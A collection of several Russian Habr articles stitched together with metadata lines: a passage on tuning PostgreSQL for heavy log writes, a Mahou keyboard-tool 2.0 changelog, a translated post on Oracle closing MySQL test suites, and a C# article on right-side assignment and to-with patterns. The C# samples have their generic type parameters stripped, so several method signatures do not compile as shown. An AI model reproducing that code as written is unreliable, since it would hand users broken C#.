* `[**fsync**](https://postgrespro.ru/docs/postgresql/12/runtime-config-wal#GUC-FSYNC)` — если данные ну совсем некритичны, можно попробовать выключить — «в пределе» можно получить даже [in-memory DB](http://www.databasesoup.com/2015/02/running-with-scissors-mode.html)
#### Структура таблиц БД
Часть статей про оптимизацию физического хранения данных я уже публиковал:
* про **секционирование таблиц** — [«Пишем в PostgreSQL на субсветовой: 1 host, 1 day, 1TB»](https://habr.com/ru/post/497008/)
* про **настройку TOAST** — [«Экономим копеечку на больших объемах в PostgreSQL»](https://habr.com/ru/post/498292/)
А вот про различные ключи в данных — еще не было. Про них и расскажу.
**Foreign Keys — это зло** для нагруженных по записи систем. На самом деле, **это «костыли»**, которые не позволяют нерадивому программисту записать в базу то, чего там якобы не должно быть.
Многие разработчики привыкли, что логически связанные бизнес-сущности на уровне описания таблиц БД обязательно должны быть повязаны через FK. Но это не так!
Конечно, этот момент очень сильно зависит от целей, которые вы ставите, записывая данные в базу. Если вы не банк (а если и банк — то не процессинг!), то *необходимость FK в heavy-write базе* под большим вопросом.
«Технически» **каждый FK при вставке записи делает отдельный SELECT** из таблицы, на которую ссылается. Теперь посмотрите на таблицу, куда вы активно пишете, где у вас висят 2-3 FK, и оцените, стоит ли для вашей конкретной задачи обеспечение вроде-как-целостности падения производительности в 3-4 раза… Или логической связи по значению — достаточно? Мы вот у себя все FK — убрали.
**UUID Keys — это добро**. Поскольку крайне мала вероятность коллизии генерируемых в разных несвязанных точках UUID, то эту нагрузку (по генерации неких суррогатных ID) можно смело убрать с БД на «потребителя». Использование UUID — это правило хорошего тона в связанных несинхронизирующихся распределенных системах.
> Про другие варианты уникальных идентификаторов в PostgreSQL можно почитать в статье [«PostgreSQL Antipatterns: уникальные идентификаторы](https://habr.com/ru/post/515786/)».
**Естественные ключи — это тоже добро**, даже если они состоят из нескольких полей. Бояться надо не составных ключей, а лишнего суррогатного PK-поля и индекса по нему в нагруженной таблице, без которых можно легко обойтись.
При этом никто не запрещает комбинировать подходы. К примеру, у нас «пакету» последовательных записей лога, относящихся к одной исходной транзакции, **присваивается суррогатный UUID** (поскольку естественного ключа просто нет), но в качестве PK используется пара `(pack::uuid, recno::int2)`, где `recno` — это **«естественный» порядковый номер** записи в рамках пакета.
«Бесконечные» COPY-потоки
-------------------------
PostgreSQL, как и OC, «не любит», когда в него пишут данные громадными пакетами (типа *`INSERT` на 1000 строк*). А вот к сбалансированным потокам записи (через `COPY`) относится гораздо более терпимо. Но их надо уметь очень аккуратно готовить.
1. Поскольку на предыдущем этапе **мы убрали все FK**, то теперь мы можем информацию о самом `pack` и набор связанных с ним `reсord` писать в произвольном порядке, **асинхронно**. Наиболее эффективно в этом случае держать на каждую целевую таблицу **постоянно активный `COPY`-канал**.
2. Чтобы другие работающие с базой процессы не висели долго в потенциальных блокировках, да и вообще, отправленные в канал данные стали «видны», транзакцию (а для этого — `COPY`-канал) **надо периодически закрывать** и переоткрывать снова. Как показала практика, оптимально для нас — примерно раз в 100мс, но тут все сильно зависит от конкретной нагрузки.
3. Строки, отправляемые в канал, **не стоит буферизировать**. Вообще. Потому что это заведомо вызывает некий пик по носителю.
С другой стороны, писать в канал больше, чем он может «переварить» на стороне сервера, смысла тоже нет. Потому что это вызовет пиковую запись на диск большого накопленного буфера, что приведет к блокировкам всех других пишущих процессов.
4. В этом плане, у [node-pg](https://node-postgres.com/), драйвера PostgreSQL для Node.js, очень удобное API — вызов `stream.write(data)` на `COPY`-канале вернет `true`, если запись успешно обработана сервером, или `false`, если возникла буферизация.
Таким образом, мы сразу понимаем, когда конкретного стрима уже «не хватает», и пора порождать в пуле каналов новый `COPY` к той же таблице.
5. Выбор очередного `COPY`-канала из пула происходит по [алгоритму LRU](https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC%D1%8B_%D0%BA%D1%8D%D1%88%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F#Least_recently_used_(%D0%92%D1%8B%D1%82%D0%B5%D1%81%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B4%D0%B0%D0%B2%D0%BD%D0%BE_%D0%BD%D0%B5%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D1%83%D0%B5%D0%BC%D1%8B%D1%85)) среди всех «незанятых». Что позволяет оперативно избавляться от ставших избыточными каналов после спада пиковой активности.
Тут надо отметить основное преимущество, которое мы получили при такой схеме чтения и записи логов — в нашей базе **«факты» становятся доступны для анализа практически в режиме online**, спустя единицы секунд.
Доработка напильником
---------------------
Вроде все уже хорошо. Где же «грабли» в предыдущей схеме? Начнем с простого…
#### Избыточная синхронизация
Одна из больших бед нагруженных систем — это **избыточная синхронизация** каких-то операций того не требующих. Иногда «потому что не заметили», иногда «так было проще», но рано или поздно приходится от нее избавляться.
Добиться этого достаточно просто. У нас на мониторинг было заведено уже почти 1000 серверов, каждый обрабатывается отдельным логическим потоком, а каждый поток сбрасывает накопленную информацию для отправки в базу с определенной периодичностью, примерно так:
```
setInterval(writeDB, interval)
```
Проблема тут кроется ровно в том, что все потоки стартуют примерно в одно время, поэтому моменты отправки у них почти всегда совпадают «до точки».
К счастью, правится это достаточно легко — добавлением «случайной» разбежки по времени как для момента старта, так и для интервала:
```
setInterval(writeDB, interval * (1 + 0.1 * (Math.random() - 0.5)))
```
Такой способ позволяет статистически «размазать» нагрузку на запись, превратив ее в практически равномерную.
#### Масштабирование по CPU cores
Одного ядра процессора на всю нашу нагрузку явно не хватит, но тут нам поможет [модуль cluster](https://nodejs.org/api/cluster.html), который позволяет легко управлять созданием дочерних процессов и общаться с ними через IPC.
Теперь у нас на 16 ядер процессора 16 дочерних процессов — и это хорошо, мы можем использовать весь CPU! Но **в каждом процессе мы пишем в 16 целевых табличек**, а когда приходит пиковая нагрузка — открываем еще и дополнительные COPY-каналы. То есть на базе постоянно **256+ активно пишущих потоков**… ой! На дисковой производительности такой хаос сказывается ни разу не хорошо, и на базе начало подгорать.
Особенно печально это сказывалось при попытке записать какие-то общие словари — например, одинаковый текст запроса, пришедший с разных узлов — ненужные блокировки, ожидания…
«Перевернем» ситуацию — то есть пусть дочерние процессы по-прежнему собирают, обрабатывают информацию со своих источников, но не пишут в базу! Вместо этого пусть они **отправляют по IPC сообщение в master, а он уже пишет** что-куда надо:
Кто сразу увидел проблему в схеме предыдущего абзаца — молодец. Кроется она ровно в том моменте, что master — это тоже процесс с ограниченными ресурсами. Поэтому в какой-то момент мы обнаружили, что подгорать начало уже у него — банально перестал справляться с перекладыванием всех-всех потоков в базу, поскольку тоже **ограничен ресурсами одного ядра CPU**. В результате, мы оставили большую часть наименее нагруженных «словарных» потоков писаться через master, а наиболее нагруженные, но не требующие дополнительной обработки — вернули в worker'ы:
#### Мультиколлектор
Но даже одного узла недостаточно, чтобы обслужить всю имеющуюся нагрузку — пора подумать о линейном масштабировании. Решением стал **автобалансирующийся по нагрузке** мультиколлектор с координатором во главе.
Каждый master сбрасывает ему текущую нагрузку всех своих worker'ов, а в ответ получает рекомендации, мониторинг какого узла стоит передать на другой worker или даже на другой коллектор. Про алгоритмы такой балансировки будет отдельная статья.
#### Ограничение пулинга и очереди
Следующий правильный вопрос — что делать с потоками на запись, когда приходит **внезапная пиковая нагрузка**.
Ведь мы не можем открывать все новые и новые соединения к базе бесконечно — неэффективно это, да и не поможет. Банальное решение — давайте ограничим, чтобы у нас было **не более 16 одновременно активных потоков** на каждую из целевых таблиц. Но что делать с данными, которые мы все равно «не успели» записать?..
Если этот «всплеск» нагрузки именно пиковый, то есть кратковременный, то мы можем временно **сохранить данные в очереди в памяти** самого коллектора. Как только какой-то канал до базы освобождается — извлекаем запись из очереди и отправляем в поток.
Да, это требует от коллектора иметь некоторый буфер для хранения очередей, но он достаточно невелик и оперативно освобождается:
#### Приоритеты очередей
Внимательный читатель, посмотрев на предыдущую картинку снова озадачился «а что же будет, когда **память совсем кончится**?..» Тут вариантов уже немного — кем-то придется пожертвовать.
Но не все записи, которые мы хотим доставить в базу, «одинаково полезны». В наших интересах записать их как можно больше, количественно. В этом нам поможет примитивная «экспоненциальная приоритезация» по размеру записываемой строки:
```
let priority = Math.trunc(Math.log2(line.length));
queue[priority].push(line);
```
Соответственно, при записи в канал мы всегда начинаем **черпать с «младших»** очередей — просто каждая отдельная строка там короче, и сможем отправить их количественно больше:
```
let qkeys = Object.keys(queue);
qkeys.sort((x, y) => x.valueOf() - y.valueOf()); // ключи-то - текстовые!
```
#### Побеждаем блокировки
Теперь вернемся на два шага назад. К тому моменту, когда решили оставить максимум 16 потоков в адрес одной таблицы. Если целевая таблица — «потоковая», то есть записи никак не коррелируют между собой — все хорошо. Максимум — у нас будут «физические» блокировки на дисковом уровне.
Но если это таблица агрегатов или вовсе «словарик», то при попытках записи **из разных потоков строк с одинаковым PK** мы будем получать ожидание на блокировке, а то и deadlock. Грустно…
Но ведь что-куда писать — определяем мы сами! Ключевой момент — **не пытаться писать один PK из разных мест**.
То есть при проходе очереди сразу смотрим, не пишет ли уже какой-то поток в ту же таблицу (мы же помним, что они у нас все в общем адресном пространстве одного процесса) такой PK. Если нет — берем себе и записываем в in-memory-словарик «за собой», если уже чей-то — подкладываем ему в очередь.
При завершении транзакции просто «вычищаем» из словарика закрепление «за собой».
Немного пруфов
--------------
Во-первых, при LRU практически всегда «первые» соединения и обслуживающие их процессы PostgreSQL работают все время. Это значит, что ОС **гораздо реже переключает их между ядрами CPU**, минимизируя простои.
Во-вторых, если вы практически все время работаете с одними и теми же процессами на стороне сервера, резко снижаются шансы, что какие-то два процесса окажутся активны одновременно — соответственно, **уменьшается пиковая нагрузка на CPU в целом** (серая область на втором графике слева) и падает LA, поскольку своей очереди ждут уже меньше процессов.
На этом пока все на сегодня.
И напомню, что с помощью [explain.tensor.ru](https://explain.tensor.ru/) вы можете посмотреть [различные варианты визуализации плана](https://habr.com/ru/post/512988/) выполнения запроса, которые помогут вам наглядно увидеть проблемные места. | https://habr.com/ru/post/516384/ | null | ru | null |
# Mahou обновился до версии 2.0
Наверно Вы уже читали мою вступительную [статью про Mahou](https://habrahabr.ru/post/321518/), в ней я описал как я создал первую функцию и описал в общих чертах что делает программа. С тех пор прошло не мало времени в Mahou много чего изменилось и добавилось, собственно об этом и будет речь в этой статье.
Изменения в интерфейсе
----------------------
Сильно изменился интерфейс, в лучшую сторону, все стало удобно и видно, вот так выглядел Mahou раньше:
А теперь он выглядит вот так:
Как я писал плагин для Sublime Text 3
-------------------------------------
Функция "Подсказка текущей раскладки возле текстового курсора(каретки)" получила возможность отображения в Sublime Text 3, используя [плагин](https://github.com/BladeMight/MahouCaretDisplayServer) который я написал специально для этого.
Все началось с того что я искал возможность взятия позиции на которой находится сейчас текстовый курсор, искал способ и нашел на форумах Sublime Text → `view.rowcol(view.sel()[0].begin())` которая возвращала линию и количество букв на котором сейчас текстовый курсор, это было то что нужно. Потом я подумал "А как передать эти данные в Mahou из Sublime Text?", и вспомнил о socket'ах (знал я о них совсем чуть-чуть) и решил писать сервер который будет работать на 127.0.0.1 (localhost) и порте 7777, сначала ничего не работало, потом я почитал пару статей про socket'ы и начал понимать как они работают. Потом я начал читать [Sublime Text 3 API](https://www.sublimetext.com/docs/3/api_reference.html), далее начал создавать плагин:
Сначала инициализировал сервер в который будут выдаваться данные, потом создал EvenListener с слушанием на события:
1. on\_window\_command При показе/скрытии и т.д. окон (window), в частности я использовал ее для боковой панели.
2. on\_modified При изменении view'а.
3. on\_activated При активации редактора/вкладки/панели.
4. on\_text\_command При нажатии любой клавиши клавиатуры/мыши.
Потом начал искать способ получить координаты X, Y позиции каретки, из ST3API я узнал что можно получить высоту строки и ширину текста, если их умножить на линии и количество букв то можно получить нужные координаты. Но была одна проблема — символ табуляции считался за 1 символ, так что я решил что нужно подсчитать количество Tab'ов в линии и умножить их на 3 и добавить к количеству букв — и оно работало!
Потом я добавил определение ширины боковой панели, но все не было как просто, потому что при ее скрытии/показе она использует анимацию, и EventListener возвращал ширину которая **была** до завершения анимации, смотря на другие возможные API я пришел к выводу что другого решения этой проблемы кроме как добавить время ожидания окончания анимации перед отправкой данных на сервер — нет, и добавил 300 мс ожидания — и оно отлично работало!
Потом я создал настройки для плагина, создал клиент который получал данные с сервера в Mahou и все работало.
Сильно улучшены функции использующие таймеры.
---------------------------------------------
### Функции которые используют таймеры:
* Подсказки языка возле мыши/каретки.
* Таймер отключатель CapsLock.
* Подсвечивать Scroll-Lock при раскладке #1 активной.
* Флаги стран в трее.
### Как я улучшил их:
Раньше при тике таймера допустим для флагов стран в трее — всегда менялась иконка, что в итоге давало большую нагрузку на ЦПУ и иногда даже приводило в вылету GDI+, так что я решил внедрить переменную которая будет хранить название последнего измененного языка, и условие при котором если текущий языка равен предыдущему то не менять иконку чем **значительно** уменьшил нагрузку на ЦПУ, остальные функции я улучшил похожим образом.
Mahou теперь использует настройки в ОЗУ.
----------------------------------------
Что это значит? Это значить что раньше при чтении определенной настройки использовался диск, создавая лишнюю нагрузку, я решил создать переменные для каждой настройки чтобы не использовать диск а использовать их (ОЗУ). Теперь же чтение/запись с/на диска происходит только при сохранение/загрузке настроек.
Что еще нового?
---------------
* Функции конверсии регистра текста.
* Очистка памяти, теперь Mahou потребляет 3~5МБ ОЗУ.
* Улучшена поддержка приложений Microsoft(Office, Skype, etc.)
* Добавлена возможность изменить текст для подсказок языка.
* Обновлено отладочная информация.
* Обновлена Wiki для Mahou 2.0.
Ссылки
------
* [Репозиторий](https://github.com/BladeMight/Mahou)
* [Сайт](http://blademight.github.io/Mahou/)
* [Wiki](https://github.com/BladeMight/Mahou/wiki)
* [Релизы](https://github.com/BladeMight/Mahou/releases)(скачать) | https://habr.com/ru/post/324592/ | null | ru | null |
# Oracle закручивает гайки
*Это перевод заметки Исчезновение набора тестов или очередная часть MySQL стала закрытой? (Disappearing test cases or did another part of MySQL just become closed source?)*
Около недели назад я изучал MySQL 5.5.27 и заметил любопытную деталь. Несмотря на то, что новый релиз MySQL содержал обычный набор исправлений, ни один из них не сопровождался тестом.
Теперь, позвольте мне рассказать кое-что об этих тестах. Много лет MySQL использовал свой собственный фреймворк для тестов под названием mysql-test. Первая его версия была написана ещё в 1999 году. Со временем он собрал в себе много тестов. Там были как тесты для нового функционала, так и регрессионные тесты, которые гарантировали, что ошибка, будучи исправленной, никогда не появится снова. У нас в MySQL AB (а позже и в Sun Microsystems) были достаточно строгие правила по поводу них — каждое новое исправление должно было сопровождаться тестом для него. И потому что эти тесты всегда выполнялись на множестве платформ для каждого коммита (инструментом непрерывной интеграции, названным Pushbuild — это внутренняя разработка Кристиана Нильсена ([Kristian Nielsen](http://montyprogram.com/people/#kristian-nielsen))), мы были достаточно уверены, что любая исправленная ошибка будет оставаться таковой всегда. Я больше не имею отношения к MySQL, но я всё ещё не могу представить, что Oracle ослабит это правило. Значит, тесты должны быть где-то в другом месте.
Одно из изменений в 5.5.27 добавляет расширение в скрипт `mysql-test-run` (управляющий скрипт набора `mysql-test`), которое заставляет его искать тесты в новой директории. В дополнение к обычному месту (то есть директория `mysql-test`/ в дереве исходников) скрипт будет искать тесты также и в директории `internal/mysql-test/`. Значит ли это, что набор тестов больше не является открытым кодом? Oracle не ответили на мой [вопрос](http://lists.mysql.com/internals/38562). Однако, есть сведения, что это скорее всего так. Например, это [сообщение с коммитом](http://lists.mysql.com/commits/144408) показывает, что новые тесты действительно ссылаются на директорию internal, которая не включена в распространяемый архив исходников MySQL.
Тесты MySQL всегда были важной частью дерева исходников MySQL. Они представляли особую ценность для разработчиков систем хранения данных и для других людей, пишущих расширения для MySQL, например, в [Facebook](http://www.facebook.com/note.php?note_id=332335025932), [Twitter](http://engineering.twitter.com/2012/04/mysql-at-twitter.html), [Taobao](http://mysql.taobao.org/index.php/Patch_source_code). Также они полезны для дистрибутивов Linux, которые добавляют свои патчи к MySQL, и даже пользователям, которые не изменяли код — они всё ещё хотят убедиться, что конкретная ошибка была исправлена, или что их самосборные варианты не имеют явных ошибок.
В мае, на Ubuntu Developer Summit в Окленде, у Oracle было 7 представителей, которые обещали, что Oracle будет более дружелюбна к контрибьютерам и дистрибьютерам. Грустно наблюдать, что вместо этого дерево исходников MySQL закрывается.
MySQL AB никогда не умела хорошо создавать сообщество разработчиков вокруг проекта. Довольно мало разработчиков и контрибьютеров проекта не состоят в MySQL AB, и компания не слишком старается для увеличения их количества. Но теперь Oracle обратила на них внимание и намеренно добивает всё, что осталось от сообщества. Без набора тестов MySQL становится непрозрачным для внешних разработчиков, как любая часть закрытого ПО, и только наиболее опытные и хорошо знакомые с кодовой базой MySQL смогут продолжать с ней работать.
**UPDATE**: Сложно найти что-либо более ценное для сторонних разработчиков, чем этот набор тестов. Ну, разве что история изменений. В ней изменения в этих миллионах строк кода объединены в наборы, один набор на какую-либо функцию или определённое исправление. Это позволяет увидеть, кто изменил определённую строчку в коде, когда и почему. Похоже, что Oracle собирается закрыть и эту информацию тоже. Публичные деревья исходников MySQL на Launchpad с историей изменений [больше не обновляются](http://www.mysqlperformanceblog.com/2012/08/16/where-to-get-a-bzr-tree-of-the-latest-mysql-releases/).
И вообще, существует ли хоть один успешный Open Source проект, лишенный сообщества разработчиков?
**UPDATE 2**: Мы не единственные, на кого повлияет эта проблема. Смотрите также:
* [mysqlha.blogspot.com/2012/08/less-open-source.html](http://mysqlha.blogspot.com/2012/08/less-open-source.html)
* [ronaldbradford.com/blog/when-is-a-crashing-mysql-bug-not-a-bug-2012-08-15](http://ronaldbradford.com/blog/when-is-a-crashing-mysql-bug-not-a-bug-2012-08-15/)
---
*Перевод кончается здесь, UPDATE-ы выше присутствуют в оригинальном посте.
Это мой первый перевод, поэтому, если вы видите лучший вариант перевода в некоторых местах или обнаружили ошибки — напишите мне в личку.
Автор оригинальной заметки есть на хабре — это [petropavel](https://habrahabr.ru/users/petropavel/)* | https://habr.com/ru/post/149905/ | null | ru | null |
# Правостороннее присваивание и другие необычные приёмы программирования в C#
В этой статье будут рассмотрены с нового ракурса такие привычные и фундаментальные вещи, как присваивание и передача параметров в методы.
Вероятно, предлагаемые решения поначалу покажутся несколько странными и надуманными, но прелесть их раскроется чуть позже, когда станет видна вся картина целиком.
Будет много нового и интересного, возможно, даже полезного. А после прочтения каждый сам сможет решить, стоит ли ему применять описанные техники в дальнейшей повседневной практике.
За дело!
### 1. Правосторонние операции: присваивание, декларация переменных и приведение типа
Существует два направления присваивания: правое и левое
```
IModel m;
m = GetModel(); // left side assignment
GetModel().To(out m); // right side assignment
```
Да, все методы с `out` и частично с `ref` параметрами являются вариациями правостороннего присваивания.
С ранних версий C# поддерживает `out` и `ref` параметры, что даёт некоторые преимущества, но не очень впечатляющие, однако C# 7 совершил эволюционный скачок!
Добавление синтаксического сахара вроде `o.To(out var x)` позволило объединить правостороннее присваивание вместе с декларацией переменной, что дало возможность обобщить и уточнить некоторые распространённые сценарии в программировании…
Исторически более привычной является традиционная левостронняя ориентация при присваивании. Возможно, это влияние математики, где `y = f(x)` является стандартной нотацией. Но на практике в программировании такое положение вещей вызывает некоторые ограничения (будут упомянуты далее) и неудобства, например, визуальный переизбыток скобок ('parentheses hell') при цепочном привидении типов для урегулирования приоритетов
```
public void EventHandler(object sender, EventArgs args) =>
((IModel) ((Button) sender).DataContext).Update();
// in a general case there is not possible settle priorities without parentheses
// (IModel) (Button) sender.DataContext.Update();
```
что подталкивает разработчиков к использованию многословных либо плохих решений наподобие
```
/* NullReferenceException instead of InvalidCastException */
public void EventHandler(object sender, EventArgs args) =>
((sender as Button).DataContext as IModel).Update();
/* miss of InvalidCastException */
public void EventHandler(object sender, EventArgs args) =>
((sender as Button)?.DataContext as IModel)?.Update();
/* verbose */
public void EventHandler(object sender, EventArgs args)
{
var button = (Button) sender;
var model = (IModel) button.DataContext;
model.Update();
}
```
Тем не менее существует менее очевидное, но более элегантное решение проблемы путём правостороннего приведения типа
```
public void EventHandler(object sender, EventArgs args) =>
sender.To().DataContext.To().Update();
public static T To(this object o) => (T) o;
```
При дальнейшем обобщении подхода мы получаем следующий набор методов-расширений
```
public static object ChangeType(this object o, Type type) =>
o == null || type.IsValueType || o is IConvertible ?
Convert.ChangeType(o, type, null) :
o;
public static T To(this T o) => o;
public static T To(this T o, out T x) => x = o;
public static T To(this object o) => (T) ChangeType(o, typeof(T));
public static T To(this object o, out T x) => x = (T) ChangeType(o, typeof(T));
```
которые позволяют отзеркалить направление всех трёх базовых операций: декларации переменной, привидения типа и присваивания значения
```
sender.To(out Button b).DataContext.To(out IModel m).Update();
/* or */
sender.To(out Button _).DataContext.To(out IModel _).Update();
```
Эти примеры иллюстрируют, что исторически C# потерял что-то вроде оператора `to`. Сравните
```
((sender to Button b).DataContext to IModel m).Update();
((sender to Button _).DataContext to IModel _).Update();
/* or even */
sender to Button b.DataContext to IModel m.Update();
sender to Button _.DataContext to IModel _.Update();
```
### 2. to-with паттерн
Многим разработчикам хорошо знакомы инициализационные блоки в духе `json`
```
var person = new Person
{
Name = "Abc",
Age = 28,
City = new City
{
Name = "Minsk"
}
};
```
вместо
```
var person = new Person();
person.Name = "Abc";
person.Age = 28;
person.City = new City();
person.City.Name = "Minsk";
```
Они довольно хороши и удобны, поскольку позволяют структурировать код и сделать его более чистым и читаемым. Однако у таких блоков есть недостаток — они применимы лишь в связке с конструктором. Но иногда для создания объектов предпочтительно использование методов-фабрик, и, к сожалению, в таких случаях инициализационные блоки непригодны
```
var person = CreatePerson()
{
Name = "Abc",
Age = 28,
City
{
Name = "Minsk"
}
}; // cause compile errors
```
Другими словами, простая замена конструктора на метод-фабрику может вызывать кардинальную смену структуры кода. Как этого избежать?
Для начала рассмотрим два метода-расширения
```
public static T To(this T o, out T x) => x = o;
public static T With(this T o, params object[] pattern) => o;
```
Они позволяют нам переписать код следующими способами
```
var person = new Person().To(out var p).With
(
p.Name = "Abc",
p.Age = 28,
p.City = new City().To(out var c).With
(
c.Name = "Minsk"
)
);
```
либо
```
var person = CreatePerson().To(out var p)?.With
(
p.Name = "Abc",
p.Age = 28,
p.City.To(out var c)?.With
(
c.Name = "Minsk"
)
);
```
*\* при желании можно поиграть с примерами в онлайн-компиляторе [по ссылке](https://sharplab.io/#v2:C4LgTgrgdgNAJiA1AHwAIAYAEqCMBuAWAChUBmbHANmwCYKB2Ygb01c2Le3NToAUBTMAGcA9lA5smEzqzIUsAOQCGAW36YWAc37A8mITr0BfaTLkBLKMEwBBbRszbd+w5hNEZbOQGFzwAJ6YvgEOTnoGzu6cUWymcjxBfv6mUh6eXPKYymqhrhHGpjGscdxUmALCYkFg/ErA/BWiUAAUAJSYALwAfJhQ/ADu5YJNbQB0ACoizSIQ1gBuSmCYAA6towDqfgAWppzNu+nLo9nqHZgARDYARgDG5zAHnkd2p5g0ABwPaelsR8GBZz6g3+Y0m01mmAWSxua02wB23x+mH2iKRbBux1Ur3OAFlLEIANbnR4yVok1qERElCjUVAAFgo7zaKXSJKhK2GVTO3hqdQanJaazBM3mixWsO2JJRaNYRxOEymIshYpEABs4CdWl8ZStMTkzucABr+ABe9xJnGe9jOH21Mr+SQV4NF0NaAH4NpLUelpTr0XrsXioITid7PGSw5gKSSSbgAJzTdWayk/ePNOVY6OI9zuYjxMoJAAyAFFmNTcNRxphJgAecZdZrw8xCauYEQwNsQqsAD3a3Uw3c6bcpAEh85XMHCtnWG02W1X2ytFqoWyIrgArfg3YAAbQAukvgPUwFA+z0RKOR8Qx6UJ1OZ42ts3WyIz8Pr+PW/fxh2bLOn/Oba/pgShvheH63l+2x1r+HYAEL/s+C7AUo8GYFcYGjp+VbfrBmBwR23iIYBi42CBaFXIRmAwp054pmwI4APQAFSYKM7GYMxjHEO4QA)*
Это чуть более многословная, но обощённая запись, в сравнении с инициализационными блоками. Немаловажно, что поддерживаются рекурсивные выражения совместно с оператором проверки на `null` (`?`), а также вызовы функциональных методов, возвращающих значения, например,
```
var person = CreatePerson().To(out var p)?.With
(
...
p.ToString().To(out var personStringView)
);
```
Однако предложенная реализация метода `With` имеет несколько недостатков:
* создание массивов и выделение для них памяти (array allocations)
* возможная упаковка для типов-значений (boxing for value types)
Эти проблемы могут быть устранены следующим образом
```
public static T With(this T o) => o;
public static T With(this T o, A a) => o;
public static T With(this T o, A a, B b) => o;
public static T With(this T o, A a, B b, C c) => o;
/\* ... \*/
```
Если же необходимо получить крупное, но хорошо оптимизированное `With` выражение, то допустима конкатенация (склеивание) нескольких более коротких выражений
```
GetModel().To(out var m)
.With(m.A0 = a0, ... , m.AN = an).With(m.B0 = b0, ... ,m.BM = bM).Save();
```
Данный подход имеет производительность предельно близкую к идеальной.
Существует также неочевидный эффект, связанный со структурами. Для примера, если мы хотим модифицировать структуру и вернуть её в цепочку вызовов методов, то нам необходимо использовать `put`-паттерн
```
public static TX Put(this T o, TX x) => x;
public static TX Put(this T o, ref TX x) => x;
```
Дело в том, что при вызове метода-расширения для структуры происходит её копирование, в результате чего метод `With` возвращает её оригинал вместо модифицированного экземпляра
```
static AnyStruct SetDefaults(this AnyStruct s) =>
s.With(s.Name = "DefaultName").Put(ref s);
```
Также `With` метод полезен в подобных сценариях
```
// possible NRE
void UpdateAppTitle() => Application.Current.MainWindow.Title = title;
// currently not supported by C#, possible, will be added later
void UpdateAppTitle() =>
Application.Current.MainWindow?.Title = title;
// classical solution
void UpdateAppTitle() {
var window = Application.Current.MainWindow;
if (window != null) window.Title = title;
}
void UpdateAppTitle() =>
Application.Current.MainWindow.To(out var w)?.With(w.Title = title);
```
Это базовая информация о `to-with` паттерне, но не вся.
Неочевидная, но очень важная вещь — паттерн двунаправленный и зеркально симметричный относительно присваивания.
Это означает, что мы можем его использовать для инициализации и деконструкции объектов одновременно!
```
GetPerson().To(out var p).With
(
/* deconstruction-like variations */
p.Name.To(out var name), /* right side assignment to the new variable */
p.Name.To(out nameLocal), /* right side assignment to the declared variable */
NameField = p.Name, /* left side assignment to the declared variable */
NameProperty = p.Name, /* left side assignment to the property */
/* a classical initialization-like variation */
p.Name = "AnyName"
)
```
Как видно, обычные `json` подобные инициализационные блоки являются лишь ограниченной (отчасти из-за левостороннего присваивания) частной синтаксической вариацией намного более обобщённого `with` паттерна.
Кроме того, подобный подход применим и для инициализаторов коллекций
```
public CustomCollection GetSampleCollection() =>
new CustomCollection().To(out var c).With(c.Name = "Sample").Merge(a, b, c, d);
/* currently not possible */
public CustomCollection GetSampleCollection() =>
new CustomCollection { Name = "Sample" } { a, b, c, d };
```
где
```
public static TCollection Merge(
this TCollection collection, params TElement[] items)
where TCollection : ICollection =>
items.ForEach(collection.Add).Put(collection);
```
Возможно также реализовать очень близкий по духу `check` паттерн для условных выражений
```
if (GetPerson() is Person p && p.Check
(
p.FirstName is "Keanu",
p.LastName is string lastName,
p.Age.To(out var age) > 23
).All(true)) ...
if (GetPerson() is Person p && p.Check
(
p.FirstName.Is("Keanu"), /* check for equality */
p.LastName.Is(out var lastName), /* check for null */
p.City.To(out var city).Put(true), /* always true */
p.Age.To(out var age) > 23
).All(true)) ...
case Person p when p.Check
(
p.FirstName.StartWith("K"),
p.LastName.StartWith("R"),
p.Age.To(out var age) > 23
).Any(true): ...
case Point p when p.Check
(
p.X > 9,
p.Y > 7 && p.Y < 221
p.Z > p.Y
p.T > 0
).Count(false) == 2: ...
```
Взгляните
```
public static bool[] Check(this T o, params bool[] pattern) => pattern;
```
### 3. Другие фишки
#### put паттерн
Предназначен для смены контекста в цепочке вызовов, а также декларации произвольного значения в любом контексте
#### use паттерн
Позволяет объявить новую переменную в цепочке вызовов либо выполнить сторонний метод
```
if (GetPerson() is Person p && p.Check
(
...
p.City.To(out var city).Put(true), /* always true */
p.Age.To(out var age) > 23
).All(true)) ...
```
```
persons.Use(out var j, 3).ForEach(p => p.FirstName = $"Name{j++}");
```
```
private static bool TestPutUseChain() =>
int.TryParse("123", out var i).Put(i).Use(Console.WriteLine) == 123;
```
#### new паттерн
Предоставляет возможность использовать вывод типов при декларации массивов и коллекций, а также создавать объекты с помощью обобщённого метода
```
var words = New.Array("hello", "wonderful", "world");
var ints = New.List(1, 2, 3, 4, 5);
var item = New.Object();
```
#### value propagation / group assignment
Добавляет поддержку групповой инициализации переменных одним значением, в том числе в процессе декларации с выводом типа
```
var (x, y, z) = 0;
(x, y, z) = 1;
var ((x, y, z), t, n) = (1, 5, "xyz");
```
#### lambda-styled type matching
Альтернатива классическому оператору `switch` на основе лямбда-выражений
```
public static double CalculateSquare(this Shape shape) =>
shape.Match
(
(Line _) => 0,
(Circle c) => Math.PI * c.Radius * c.Radius,
(Rectangle r) => r.Width * r.Height,
() => double.NaN
);
```
Детальные реализации и примеры кода находятся по ссылкам
Github mirror: [implementation](https://github.com/Makeloft-Studio/Ace/tree/master/Ace.Base/Sugar) / [some tests](https://github.com/Makeloft-Studio/Ace/tree/master/Ace.Tests/Ace.Base.Sandbox)
Bitbucket mirror: [implementation](https://bitbucket.org/Makeloft/ace/src/831f3081b07d899f260dc3930d674b60e6095148/Ace.Base/Sugar/?at=master) / [some tests](https://bitbucket.org/Makeloft/ace/src/831f3081b07d899f260dc3930d674b60e6095148/Ace.Tests/Ace.Base.Sandbox/?at=master)
### Результаты
Рассмотренные расширения очень помогают при написании `expression-bodied`методов, а также позволяют сделать код более чистым и выразительным. И если ты тоже ощутил вкус этих расширений, то приятного применения на практике!
### Послесловие от автора
Подготовка материалов для данной статьи потребовала очень значительных вложений свободного времени и сил, поэтому если ты сочтёшь информацию практически полезной, то можешь [выразить свою благодарность в виде добровольного пожертвования произвольного размера](http://makeloft.xyz/donation) или просто поделиться информацией с друзьями и коллегами. Это очень ценно! | https://habr.com/ru/post/354278/ | null | ru | null |
